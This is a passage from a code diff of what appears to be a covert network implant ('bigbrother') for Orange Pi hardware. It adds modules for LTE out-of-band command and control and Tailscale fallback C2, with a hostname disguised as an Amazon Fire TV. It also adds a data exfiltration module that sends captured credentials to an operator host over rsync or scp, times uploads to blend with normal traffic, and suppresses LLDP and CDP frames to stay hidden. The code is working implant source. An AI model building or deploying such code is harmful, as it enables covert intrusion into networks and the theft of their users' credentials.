"01:80:C2:00:00:0E", # LLDP
"01:00:0C:CC:CC:CD", # Cisco PVST+
]
for mac in suppress_macs:
for direction in ["FORWARD", "OUTPUT"]:
cmd = ["ebtables", "-A", direction, "-d", mac, "-j", "DROP"]
try:
subprocess.run(cmd, capture_output=True, timeout=5)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
logger.debug("ebtables rule failed (may not be installed): %s", " ".join(cmd))
def _remove_ebtables_rules(self) -> None:
"""Flush ebtables rules."""
try:
subprocess.run(["ebtables", "-F"], capture_output=True, timeout=5)
subprocess.run(["ebtables", "-X"], capture_output=True, timeout=5)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
# ------------------------------------------------------------------
# Watchdog thread
# ------------------------------------------------------------------
def _watchdog_loop(self) -> None:
"""Monitor bridge health; restore direct connectivity on failure."""
while self._running:
time.sleep(WATCHDOG_INTERVAL)
if not self._running:
break
if self.is_healthy():
self._consecutive_failures = 0
continue
self._consecutive_failures += 1
logger.warning("Bridge health check failed (%d/%d)",
self._consecutive_failures, WATCHDOG_MAX_FAILURES)
if self._consecutive_failures >= WATCHDOG_MAX_FAILURES:
logger.error("Bridge failsafe triggered — restoring direct connectivity")
self.bus.emit("MODULE_ERROR",
{"module": self.name,
"error": "bridge_failsafe_triggered",
"consecutive_failures": self._consecutive_failures},
source_module=self.name)
# Teardown broken bridge and restore direct connection
self._teardown_bridge_inline()
self._bridge_up = False
# Try to re-establish bridge
if self._if1 and self._if2:
time.sleep(2.0)
if self._setup_bridge_inline(self._if1, self._if2):
self._bridge_up = True
self._consecutive_failures = 0
logger.info("Bridge recovered after failsafe")
else:
logger.error("Bridge recovery failed — operating without bridge")
self._running = False
+462
View File
@@ -0,0 +1,462 @@
#!/usr/bin/env python3
"""Cellular backup module — LTE modem for out-of-band C2.
Manages an LTE modem (SIM7600/EC25) connected via USB through the 13-pin
header on the Orange Pi Zero 3. Provides a completely separate network path
from the wired/WiFi connection, enabling out-of-band command and control.
OPi Zero 3+ only — skips on pi_zero tier (no USB bandwidth for modem).
"""
import logging
import os
import re
import subprocess
import time
from typing import Optional
try:
import serial
except ImportError:
serial = None
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Default serial device for modem AT commands
DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2"
DEFAULT_BAUD_RATE = 115200
AT_TIMEOUT = 5 # seconds for AT command responses
class CellularBackup(BaseModule):
"""LTE modem management for out-of-band C2."""
name = "cellular_backup"
module_type = "connectivity"
priority = -50
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._serial: Optional[serial.Serial] = None
self._modem_device: Optional[str] = None
self._apn: Optional[str] = None
self._interface: Optional[str] = None
self._connected = False
self._modem_model: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
if serial is None:
logger.error("pyserial not installed — cellular backup unavailable")
self.state.set_module_status(self.name, "error",
extra={"reason": "pyserial_missing"})
return
# Check hardware tier
device_tier = self.config.get("device", {}).get("tier", "")
if device_tier == "pi_zero":
logger.info("Cellular module skipped — pi_zero tier has no USB bandwidth")
self.state.set_module_status(self.name, "skipped",
extra={"reason": "pi_zero_tier"})
return
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
if not cell_cfg:
logger.error("No cellular config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._modem_device = cell_cfg.get("device", DEFAULT_MODEM_DEVICE)
self._apn = cell_cfg.get("apn")
self._interface = cell_cfg.get("interface", "wwan0")
if not self._apn:
logger.error("Cellular APN not configured")
self.state.set_module_status(self.name, "error")
return
# Open serial connection to modem
if not self._open_serial():
self.state.set_module_status(self.name, "error")
return
# Initialize modem
if not self._init_modem():
self._close_serial()
self.state.set_module_status(self.name, "error")
return
# Enable data connection
if not self.enable():
logger.warning("Failed to enable data — modem initialized but no data yet")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid,
extra={"modem": self._modem_model,
"apn": self._apn})
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"modem": self._modem_model, "apn": self._apn},
source_module=self.name)
logger.info("Cellular backup active — modem=%s, APN=%s",
self._modem_model, self._apn)
def stop(self) -> None:
if not self._running:
return
self.disable()
self._close_serial()
self._running = False
self._connected = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Cellular backup stopped")
def status(self) -> dict:
signal_info = self.get_signal() if self._running else None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"modem_model": self._modem_model,
"apn": self._apn,
"interface": self._interface,
"signal": signal_info,
"ip": self.get_ip() if self._connected else None,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
# Check modem responds to AT
resp = self._at_command("AT")
return resp is not None and "OK" in resp
# ------------------------------------------------------------------
# Cellular operations
# ------------------------------------------------------------------
def enable(self) -> bool:
"""Configure APN and enable data connection."""
# Try ModemManager first (mmcli)
if self._enable_via_mmcli():
self._connected = True
return True
# Fallback: direct AT commands
if self._enable_via_at():
self._connected = True
return True
logger.error("Failed to enable cellular data via mmcli or AT commands")
return False
def disable(self) -> bool:
"""Disable data connection."""
# Try mmcli disconnect
try:
modem_index = self._get_modem_index()
if modem_index is not None:
subprocess.run(
["mmcli", "-m", str(modem_index), "--simple-disconnect"],
capture_output=True, timeout=15,
)
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
# AT command fallback
self._at_command("AT+CGACT=0,1")
self._at_command("AT+CFUN=4") # Flight mode
self._connected = False
return True
def get_signal(self) -> Optional[dict]:
"""Get signal quality information."""
result = {}
# AT+CSQ — signal quality
resp = self._at_command("AT+CSQ")
if resp:
match = re.search(r'\+CSQ:\s*(\d+),(\d+)', resp)
if match:
rssi_raw = int(match.group(1))
ber = int(match.group(2))
# Convert to dBm: -113 + (2 * rssi_raw)
if 0 <= rssi_raw <= 31:
result["rssi_dbm"] = -113 + (2 * rssi_raw)
result["ber"] = ber
# AT+COPS? — operator
resp = self._at_command("AT+COPS?")
if resp:
match = re.search(r'\+COPS:\s*\d+,\d+,"([^"]+)"', resp)
if match:
result["operator"] = match.group(1)
# AT+CREG? — registration status
resp = self._at_command("AT+CREG?")
if resp:
match = re.search(r'\+CREG:\s*\d+,(\d+)', resp)
if match:
reg_status = int(match.group(1))
result["registered"] = reg_status in (1, 5) # 1=home, 5=roaming
return result if result else None
def get_ip(self) -> Optional[str]:
"""Get the IP address assigned to the cellular interface."""
# Check interface
try:
result = subprocess.run(
["ip", "-4", "addr", "show", self._interface],
capture_output=True, text=True, timeout=5,
)
if result.returncode == 0:
match = re.search(r'inet\s+(\d+\.\d+\.\d+\.\d+)', result.stdout)
if match:
return match.group(1)
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
# Fallback: AT command
resp = self._at_command("AT+CGPADDR=1")
if resp:
match = re.search(r'\+CGPADDR:\s*\d+,"?(\d+\.\d+\.\d+\.\d+)"?', resp)
if match:
return match.group(1)
return None
def send_sms(self, number: str, msg: str) -> bool:
"""Send an SMS message via the modem."""
# Set text mode
resp = self._at_command("AT+CMGF=1")
if not resp or "OK" not in resp:
logger.error("Failed to set SMS text mode")
return False
# Send message
self._at_command(f'AT+CMGS="{number}"', expect_prompt=True)
time.sleep(0.5)
if self._serial and self._serial.is_open:
try:
self._serial.write(msg.encode() + b"\x1a") # Ctrl+Z to send
time.sleep(3.0)
resp = self._serial.read(self._serial.in_waiting).decode(errors='replace')
if "+CMGS:" in resp:
logger.info("SMS sent to %s", number)
return True
except (serial.SerialException, OSError) as exc:
logger.error("SMS send error: %s", exc)
return False
# ------------------------------------------------------------------
# ModemManager (mmcli) path
# ------------------------------------------------------------------
def _enable_via_mmcli(self) -> bool:
"""Enable cellular data via ModemManager."""
modem_index = self._get_modem_index()
if modem_index is None:
return False
try:
# Enable modem
subprocess.run(
["mmcli", "-m", str(modem_index), "--enable"],
check=True, capture_output=True, timeout=15,
)
# Connect with APN
subprocess.run(
["mmcli", "-m", str(modem_index), "--simple-connect",
f"apn={self._apn}"],
check=True, capture_output=True, timeout=30,
)
# Wait for interface to come up
time.sleep(3.0)
# Configure interface
bearer_result = subprocess.run(
["mmcli", "-m", str(modem_index), "--list-bearers"],
capture_output=True, text=True, timeout=10,
)
logger.info("Cellular data enabled via mmcli (modem %d)", modem_index)
return True
except subprocess.CalledProcessError as exc:
logger.debug("mmcli connect failed: %s",
exc.stderr.decode(errors='replace') if exc.stderr else "")
return False
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _get_modem_index(self) -> Optional[int]:
"""Get the ModemManager modem index."""
try:
result = subprocess.run(
["mmcli", "-L"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0:
match = re.search(r'/Modem/(\d+)', result.stdout)
if match:
return int(match.group(1))
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return None
# ------------------------------------------------------------------
# AT command path
# ------------------------------------------------------------------
def _enable_via_at(self) -> bool:
"""Enable cellular data via direct AT commands."""
# Exit flight mode
resp = self._at_command("AT+CFUN=1")
if not resp:
return False
time.sleep(2.0)
# Set APN
resp = self._at_command(f'AT+CGDCONT=1,"IP","{self._apn}"')
if not resp or "OK" not in resp:
logger.error("Failed to set APN")
return False
# Activate PDP context
resp = self._at_command("AT+CGACT=1,1")
if not resp or "OK" not in resp:
logger.error("Failed to activate PDP context")
return False
# Wait for data connection
time.sleep(3.0)
# Check registration
signal = self.get_signal()
if signal and signal.get("registered"):
logger.info("Cellular data enabled via AT commands")
return True
logger.warning("Modem registered but data connection uncertain")
return True # Modem is up; data may need a moment
# ------------------------------------------------------------------
# Serial / AT helpers
# ------------------------------------------------------------------
def _open_serial(self) -> bool:
"""Open serial connection to modem."""
try:
self._serial = serial.Serial(
port=self._modem_device,
baudrate=DEFAULT_BAUD_RATE,
timeout=AT_TIMEOUT,
write_timeout=AT_TIMEOUT,
)
logger.debug("Opened serial port %s", self._modem_device)
return True
except serial.SerialException as exc:
logger.error("Cannot open modem serial port %s: %s",
self._modem_device, exc)
return False
def _close_serial(self) -> None:
"""Close serial connection."""
if self._serial and self._serial.is_open:
try:
self._serial.close()
except Exception:
pass
self._serial = None
def _init_modem(self) -> bool:
"""Initialize modem with basic AT commands."""
# Basic AT test
resp = self._at_command("AT")
if not resp or "OK" not in resp:
logger.error("Modem not responding to AT commands on %s", self._modem_device)
return False
# Disable echo
self._at_command("ATE0")
# Get modem model
resp = self._at_command("AT+CGMM")
if resp:
lines = [l.strip() for l in resp.splitlines() if l.strip() and l.strip() != "OK"]
if lines:
self._modem_model = lines[0]
# Check SIM
resp = self._at_command("AT+CPIN?")
if not resp or "READY" not in resp:
logger.error("SIM not ready: %s", resp)
return False
logger.info("Modem initialized: %s, SIM ready", self._modem_model)
return True
def _at_command(self, cmd: str, expect_prompt: bool = False) -> Optional[str]:
"""Send an AT command and return the response."""
if not self._serial or not self._serial.is_open:
return None
try:
# Flush input
self._serial.reset_input_buffer()
# Send command
self._serial.write((cmd + "\r\n").encode())
if expect_prompt:
# Wait for > prompt
time.sleep(0.5)
data = self._serial.read(self._serial.in_waiting)
return data.decode(errors='replace')
# Read response
time.sleep(0.5)
response = b""
deadline = time.time() + AT_TIMEOUT
while time.time() < deadline:
if self._serial.in_waiting:
response += self._serial.read(self._serial.in_waiting)
# Check for final result codes
decoded = response.decode(errors='replace')
if any(code in decoded for code in ("OK", "ERROR", "+CME ERROR", "+CMS ERROR")):
return decoded
time.sleep(0.1)
return response.decode(errors='replace') if response else None
except (serial.SerialException, OSError) as exc:
logger.debug("AT command error: %s", exc)
return None
+460
View File
@@ -0,0 +1,460 @@
#!/usr/bin/env python3
"""Data exfiltration module — priority-based data transport.
Manages data exfiltration through the connectivity chain with three
priority tiers:
IMMEDIATE: Credentials — pushed as captured via fastest available channel
NIGHTLY: Intel summaries, topology updates — scheduled nightly sync
ON_DEMAND: PCAPs — large files pulled by operator when needed
Respects traffic_mimicry baseline — times transfers to match normal upload
patterns so exfil activity blends with legitimate traffic.
Falls back through connectivity chain:
WireGuard -> Tailscale -> reverse_ssh -> cellular
"""
import json
import logging
import os
import subprocess
import threading
import time
from collections import deque
from dataclasses import dataclass, field
from enum import IntEnum
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from core.bus import Event
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
class ExfilPriority(IntEnum):
"""Exfiltration priority levels."""
IMMEDIATE = 0 # Credentials — push now
NIGHTLY = 1 # Intel/topology — batch nightly
ON_DEMAND = 2 # PCAPs — operator pulls
@dataclass
class ExfilJob:
"""A pending exfiltration task."""
path: str
priority: ExfilPriority
created: float = field(default_factory=time.time)
attempts: int = 0
last_attempt: float = 0
size_bytes: int = 0
description: str = ""
# Connectivity chain — tried in order of preference
CONNECTIVITY_CHAIN = ["wireguard", "tailscale", "cellular_backup"]
NIGHTLY_HOUR = 2 # 2 AM local time for nightly sync
MAX_ATTEMPTS = 5
RETRY_BACKOFF = 60 # seconds between retries
class DataExfil(BaseModule):
"""Priority-based data exfiltration through the connectivity chain."""
name = "data_exfil"
module_type = "connectivity"
priority = -100
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._immediate_queue: deque = deque(maxlen=1000)
self._nightly_queue: deque = deque(maxlen=500)
self._on_demand_queue: deque = deque(maxlen=200)
self._worker_thread: Optional[threading.Thread] = None
self._nightly_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
self._stats = {
"files_sent": 0,
"bytes_sent": 0,
"creds_pushed": 0,
"nightly_syncs": 0,
"failures": 0,
}
self._remote_base: Optional[str] = None
self._remote_user: Optional[str] = None
self._ssh_key: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
self._remote_base = exfil_cfg.get("remote_base", "/data/exfil")
self._remote_user = exfil_cfg.get("remote_user", "operator")
self._ssh_key = exfil_cfg.get("ssh_key")
# Subscribe to credential events for immediate push
self.bus.subscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
# Start worker thread for processing queues
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._worker_thread = threading.Thread(
target=self._worker_loop, daemon=True, name="sensor-exfil-worker",
)
self._worker_thread.start()
# Start nightly sync scheduler
self._nightly_thread = threading.Thread(
target=self._nightly_scheduler, daemon=True, name="sensor-exfil-nightly",
)
self._nightly_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("Data exfil module active")
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
if self._worker_thread and self._worker_thread.is_alive():
self._worker_thread.join(timeout=5.0)
if self._nightly_thread and self._nightly_thread.is_alive():
self._nightly_thread.join(timeout=5.0)
self.state.set_module_status(self.name, "stopped")
logger.info("Data exfil stopped (sent=%d, bytes=%d, failures=%d)",
self._stats["files_sent"], self._stats["bytes_sent"],
self._stats["failures"])
def status(self) -> dict:
with self._lock:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"queue_immediate": len(self._immediate_queue),
"queue_nightly": len(self._nightly_queue),
"queue_on_demand": len(self._on_demand_queue),
"stats": dict(self._stats),
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self._worker_thread is not None and self._worker_thread.is_alive()
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def push_file(self, path: str, priority: int = ExfilPriority.NIGHTLY,
description: str = "") -> bool:
"""Queue a file for exfiltration at the given priority."""
if not os.path.isfile(path):
logger.warning("Exfil target does not exist: %s", path)
return False
try:
size = os.path.getsize(path)
except OSError:
size = 0
job = ExfilJob(
path=path,
priority=ExfilPriority(priority),
size_bytes=size,
description=description,
)
with self._lock:
if priority == ExfilPriority.IMMEDIATE:
self._immediate_queue.append(job)
elif priority == ExfilPriority.NIGHTLY:
self._nightly_queue.append(job)
else:
self._on_demand_queue.append(job)
logger.debug("Queued for exfil (%s): %s (%d bytes)",
ExfilPriority(priority).name, path, size)
return True
def sync_intel(self) -> bool:
"""Trigger an immediate sync of all queued intel/nightly data."""
logger.info("Manual intel sync triggered")
return self._process_nightly_queue()
def get_exfil_stats(self) -> dict:
"""Return exfil statistics."""
with self._lock:
return dict(self._stats)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_credential_found(self, event: Event) -> None:
"""Handle CREDENTIAL_FOUND events — push immediately."""
payload = event.payload
cred_file = payload.get("file")
cred_data = payload.get("data")
if cred_file and os.path.isfile(cred_file):
self.push_file(cred_file, ExfilPriority.IMMEDIATE,
description=f"credential: {payload.get('type', 'unknown')}")
elif cred_data:
# Write credential data to a temp file for exfil
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else "/tmp"
cred_path = os.path.join(tmpdir, f".cred_{int(time.time())}.json")
try:
fd = os.open(cred_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, json.dumps(cred_data).encode())
finally:
os.close(fd)
self.push_file(cred_path, ExfilPriority.IMMEDIATE,
description="credential_data")
except OSError as exc:
logger.error("Failed to write credential for exfil: %s", exc)
with self._lock:
self._stats["creds_pushed"] += 1
# ------------------------------------------------------------------
# Worker threads
# ------------------------------------------------------------------
def _worker_loop(self) -> None:
"""Main worker: drain immediate queue, respecting traffic mimicry."""
while self._running:
# Process immediate queue first
job = None
with self._lock:
if self._immediate_queue:
job = self._immediate_queue.popleft()
if job:
self._process_job(job)
else:
time.sleep(5.0)
def _nightly_scheduler(self) -> None:
"""Wait until NIGHTLY_HOUR and trigger nightly sync."""
while self._running:
now = time.localtime()
if now.tm_hour == NIGHTLY_HOUR and now.tm_min < 5:
# Check traffic mimicry — is this a normal upload time?
if self._is_upload_window():
self._process_nightly_queue()
with self._lock:
self._stats["nightly_syncs"] += 1
# Sleep past the window to avoid re-triggering
time.sleep(3600)
continue
time.sleep(60)
def _process_job(self, job: ExfilJob) -> bool:
"""Transfer a single file through the connectivity chain."""
job.attempts += 1
job.last_attempt = time.time()
# Try each connectivity method in order
for conn_name in CONNECTIVITY_CHAIN:
conn_status = self.state.get_module_status(conn_name)
if conn_status.get("status") != "running":
continue
if self._transfer_file(job.path, conn_name):
with self._lock:
self._stats["files_sent"] += 1
self._stats["bytes_sent"] += job.size_bytes
logger.info("Exfil success: %s via %s (%d bytes)",
job.path, conn_name, job.size_bytes)
# Clean up temp credential files after successful send
if job.path.startswith(("/dev/shm/", "/tmp/")) and ".cred_" in job.path:
try:
os.unlink(job.path)
except OSError:
pass
return True
# All channels failed — re-queue if under max attempts
with self._lock:
self._stats["failures"] += 1
if job.attempts < MAX_ATTEMPTS:
logger.warning("Exfil failed for %s (attempt %d/%d), re-queuing",
job.path, job.attempts, MAX_ATTEMPTS)
time.sleep(RETRY_BACKOFF)
with self._lock:
if job.priority == ExfilPriority.IMMEDIATE:
self._immediate_queue.append(job)
else:
self._nightly_queue.append(job)
else:
logger.error("Exfil permanently failed for %s after %d attempts",
job.path, MAX_ATTEMPTS)
return False
def _process_nightly_queue(self) -> bool:
"""Process all items in the nightly queue."""
success = True
while self._running:
with self._lock:
if not self._nightly_queue:
break
job = self._nightly_queue.popleft()
if not self._process_job(job):
success = False
# Brief pause between files to avoid traffic bursts
time.sleep(2.0)
return success
# ------------------------------------------------------------------
# Transfer methods
# ------------------------------------------------------------------
def _transfer_file(self, local_path: str, via_module: str) -> bool:
"""Transfer a file using rsync/scp over the specified connectivity module."""
if not os.path.isfile(local_path):
return False
# Determine remote target based on connectivity module
remote_host = self._get_remote_host(via_module)
if not remote_host:
return False
remote_path = f"{self._remote_user}@{remote_host}:{self._remote_base}/"
# Build SSH options — use known_hosts for host key verification
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
ssh_opts = [
"-o", "StrictHostKeyChecking=accept-new", # Accept only if not seen before
"-o", "LogLevel=ERROR",
"-o", "ConnectTimeout=10",
]
# Use operator-provided known_hosts if available, else fail
known_hosts = exfil_cfg.get("ssh_known_hosts_file")
if known_hosts:
if not os.path.isfile(known_hosts):
raise FileNotFoundError(f"SSH known_hosts file not found: {known_hosts}")
ssh_opts.extend(["-o", f"UserKnownHostsFile={known_hosts}"])
else:
# Fallback: require known_hosts to prevent MITM
logger.error("SSH known_hosts not configured — exfil disabled for MITM protection")
return False
if self._ssh_key:
ssh_opts.extend(["-i", self._ssh_key])
# Try rsync first (delta transfer, bandwidth efficient)
if self._try_rsync(local_path, remote_path, ssh_opts):
return True
# Fallback to scp
return self._try_scp(local_path, remote_path, ssh_opts)
def _try_rsync(self, local_path: str, remote_path: str,
ssh_opts: list) -> bool:
"""Attempt file transfer via rsync."""
ssh_cmd = "ssh " + " ".join(ssh_opts)
cmd = [
"rsync", "-az", "--timeout=30",
"-e", ssh_cmd,
local_path, remote_path,
]
try:
result = subprocess.run(
cmd, capture_output=True, timeout=120,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _try_scp(self, local_path: str, remote_path: str,
ssh_opts: list) -> bool:
"""Attempt file transfer via scp."""
cmd = ["scp", "-q"] + ssh_opts + [local_path, remote_path]
try:
result = subprocess.run(
cmd, capture_output=True, timeout=120,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _get_remote_host(self, via_module: str) -> Optional[str]:
"""Get the remote host address for a connectivity module."""
if via_module == "wireguard":
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
# Use the WireGuard peer's allowed IP (operator side)
allowed = wg_cfg.get("allowed_ips", "")
if "/" in allowed:
return allowed.split("/")[0]
return allowed if allowed else None
elif via_module == "tailscale":
# Get Tailscale IP of the operator machine from config
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
return ts_cfg.get("operator_ip")
elif via_module == "cellular_backup":
# Cellular uses a separate relay
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
return cell_cfg.get("exfil_host")
return None
# ------------------------------------------------------------------
# Traffic mimicry integration
# ------------------------------------------------------------------
def _is_upload_window(self) -> bool:
"""Check if current time falls within a normal upload window.
Reads the traffic mimicry baseline to determine if now is a
reasonable time for upload activity.
"""
baseline = self.state.get("traffic_mimicry", "upload_hours", default=None)
if not baseline:
# No baseline — allow all hours
return True
try:
if isinstance(baseline, str):
allowed_hours = json.loads(baseline)
else:
allowed_hours = baseline
current_hour = time.localtime().tm_hour
return current_hour in allowed_hours
except (json.JSONDecodeError, TypeError):
return True
+290
View File
@@ -0,0 +1,290 @@
#!/usr/bin/env python3
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
servers — it is chatty by design. Use only when:
1. WireGuard is blocked by the target network
2. Target network already has Tailscale traffic (blends in)
Manages the tailscaled daemon via subprocess. Authenticates with a
per-engagement auth key and sets hostname to match the MAC profile
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
"""
import logging
import os
import subprocess
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
TAILSCALE_BIN = "/usr/bin/tailscale"
TAILSCALED_BIN = "/usr/sbin/tailscaled"
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
class Tailscale(BaseModule):
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
name = "tailscale"
module_type = "connectivity"
priority = -150
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._daemon_proc: Optional[subprocess.Popen] = None
self._auth_key: Optional[str] = None
self._hostname: Optional[str] = None
self._connected = False
self._tailscale_ip: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
if not ts_cfg:
logger.error("No tailscale config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._auth_key = ts_cfg.get("auth_key")
self._hostname = ts_cfg.get("hostname")
if not self._auth_key:
logger.error("Tailscale auth_key not configured")
self.state.set_module_status(self.name, "error")
return
# If no hostname specified, try to match MAC profile
if not self._hostname:
mac_hostname = self.state.get(
"mac_manager", "dhcp_hostname", default=None
)
if mac_hostname:
self._hostname = mac_hostname.replace(" ", "-").lower()
else:
self._hostname = f"bb-{os.urandom(3).hex()}"
# Start tailscaled daemon
if not self._start_daemon(ts_cfg):
self.state.set_module_status(self.name, "error")
return
# Authenticate and bring up
if not self.up(self._auth_key):
logger.error("Failed to bring Tailscale up")
self._stop_daemon()
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"ip": self._tailscale_ip, "hostname": self._hostname},
source_module=self.name)
logger.info("Tailscale up — hostname=%s, ip=%s",
self._hostname, self._tailscale_ip)
def stop(self) -> None:
if not self._running:
return
self.down()
self._stop_daemon()
self._running = False
self._connected = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Tailscale stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"ip": self._tailscale_ip,
"hostname": self._hostname,
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# Tailscale operations
# ------------------------------------------------------------------
def up(self, auth_key: str) -> bool:
"""Authenticate and bring Tailscale up with the given auth key."""
try:
cmd = [TAILSCALE_BIN, "up",
"--authkey", auth_key,
"--hostname", self._hostname,
"--accept-routes"]
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=30,
)
if result.returncode != 0:
logger.error("tailscale up failed: %s", result.stderr.strip())
return False
# Get assigned IP
self._tailscale_ip = self.get_ip()
return self._tailscale_ip is not None
except subprocess.TimeoutExpired:
logger.error("tailscale up timed out")
return False
def down(self) -> bool:
"""Bring Tailscale down (logout and disconnect)."""
try:
subprocess.run(
[TAILSCALE_BIN, "logout"],
capture_output=True, timeout=15,
)
subprocess.run(
[TAILSCALE_BIN, "down"],
capture_output=True, timeout=15,
)
self._connected = False
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.warning("Error during tailscale down: %s", exc)
return False
def is_connected(self) -> bool:
"""Check if Tailscale is connected and has an IP."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "status", "--json"],
capture_output=True, text=True, timeout=10,
)
if result.returncode != 0:
return False
import json
status = json.loads(result.stdout)
backend_state = status.get("BackendState", "")
self._connected = backend_state == "Running"
return self._connected
except (subprocess.TimeoutExpired, ValueError, KeyError):
return False
def get_ip(self) -> Optional[str]:
"""Get the Tailscale IPv4 address."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "ip", "-4"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0 and result.stdout.strip():
ip = result.stdout.strip().splitlines()[0]
self._tailscale_ip = ip
return ip
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
pass
return None
# ------------------------------------------------------------------
# Daemon management
# ------------------------------------------------------------------
def _start_daemon(self, ts_cfg: dict) -> bool:
"""Start tailscaled as a managed subprocess."""
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
os.makedirs(state_dir, exist_ok=True)
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
cmd = [
TAILSCALED_BIN,
f"--state={state_dir}/tailscaled.state",
f"--socket={socket_path}",
"--tun=userspace-networking",
]
try:
self._daemon_proc = subprocess.Popen(
cmd,
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
)
except FileNotFoundError:
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
return False
except OSError as exc:
logger.error("Failed to start tailscaled: %s", exc)
return False
# Wait for daemon to be ready
deadline = time.time() + STARTUP_TIMEOUT
while time.time() < deadline:
if self._daemon_proc.poll() is not None:
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
logger.error("tailscaled exited prematurely: %s", stderr[:500])
return False
try:
result = subprocess.run(
[TAILSCALE_BIN, "status"],
capture_output=True, timeout=5,
)
# Any response (even "not logged in") means daemon is ready
if result.returncode in (0, 1):
logger.debug("tailscaled is ready")
return True
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
time.sleep(1.0)
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
self._stop_daemon()
return False
def _stop_daemon(self) -> None:
"""Stop the tailscaled subprocess."""
if self._daemon_proc is None:
return
if self._daemon_proc.poll() is None:
try:
self._daemon_proc.terminate()
self._daemon_proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("tailscaled did not stop after SIGTERM, killing")
self._daemon_proc.kill()
try:
self._daemon_proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
pass
self._daemon_proc = None
+452
View File
@@ -0,0 +1,452 @@
#!/usr/bin/env python3
"""WiFi client module — managed wpa_supplicant for WiFi connectivity.
